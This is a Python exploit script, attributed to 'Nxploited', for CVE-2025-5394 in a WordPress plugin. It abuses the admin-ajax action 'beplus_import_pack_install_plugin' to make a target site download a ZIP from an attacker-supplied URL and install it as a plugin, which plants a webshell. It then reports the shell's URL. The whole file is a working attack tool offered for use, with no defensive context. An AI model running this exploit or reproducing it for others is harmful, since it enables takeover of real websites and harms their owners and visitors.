#!/usr/bin/env python3 import argparse import requests import urllib3 import sys import os from urllib.parse import urlparse urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) USER_AGENT = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.0.0 Safari/537.36" AJAX_ENDPOINT = "/wp-admin/admin-ajax.php" ACTION = "beplus_import_pack_install_plugin" def extract_slug_from_url(shell_url): filename = os.path.basename(urlparse(shell_url).path) if not filename.endswith(".zip"): raise ValueError("Shell file must be a .zip archive") return filename.split(".")[0] def build_payload(slug, shell_url): return { "action": ACTION, "data[plugin_slug]": slug, "data[plugin_source]": shell_url } def normalize_url(url): if not url.startswith(("http://", "https://")): url = "http://" + url return url.rstrip("/") def send_exploit(target_url, plugin_slug, shell_url): session = requests.Session() session.verify = False session.headers.update({ "User-Agent": USER_AGENT, "Content-Type": "application/x-www-form-urlencoded" }) full_url = f"{target_url}{AJAX_ENDPOINT}" data = build_payload(plugin_slug, shell_url) try: response = session.post(full_url, data=data, timeout=15) if response.status_code != 200: print(f"[!] HTTP {response.status_code}") return None return response.json() except requests.exceptions.RequestException as e: print(f"[!] Request error: {e}") return None except ValueError as ve: print(f"[!] Invalid response: {ve}") return None def Nxploited(target_url, shell_url): try: plugin_slug = extract_slug_from_url(shell_url) except Exception as e: print(f"[!] Slug error: {e}") return print(f"[>] Target : {target_url}") print(f"[>] Shell URL : {shell_url}") print(f"[>] Plugin Slug : {plugin_slug}") print("[>] Sending exploit...") result = send_exploit(target_url, plugin_slug, shell_url) if result is None: print("[!] Exploit failed: no valid response.") return if result.get("success") is True: if result.get("status") is True: shell_path = f"{target_url}/wp-content/plugins/{plugin_slug}/{plugin_slug}.php" print("[+] Exploit successful") print(f"[+] Webshell URL : {shell_path}") elif result.get("status") is False and result.get("substep") == "activate": plugin_path = f"{target_url}/wp-content/plugins/{plugin_slug}/" print("[+] Plugin uploaded but not activated") print(f"[+] Plugin path : {plugin_path}") else: print("[!] Unexpected response:") print(result) else: print("[!] Exploit blocked or failed:") print(result) def main(): parser = argparse.ArgumentParser(description="CVE-2025-5394 Exploit | by Khaled Alenazi (Nxploited)") parser.add_argument("-u", "--url", required=True, help="Target WordPress site URL") parser.add_argument("-s", "--shell", required=True, help="ZIP file URL containing webshell (.zip)") args = parser.parse_args() try: target_url = normalize_url(args.url) shell_url = args.shell Nxploited(target_url, shell_url) except KeyboardInterrupt: print("\n[!] Interrupted.") sys.exit(1) except Exception as ex: print(f"[!] Error: {ex}") sys.exit(1) if __name__ == "__main__": main()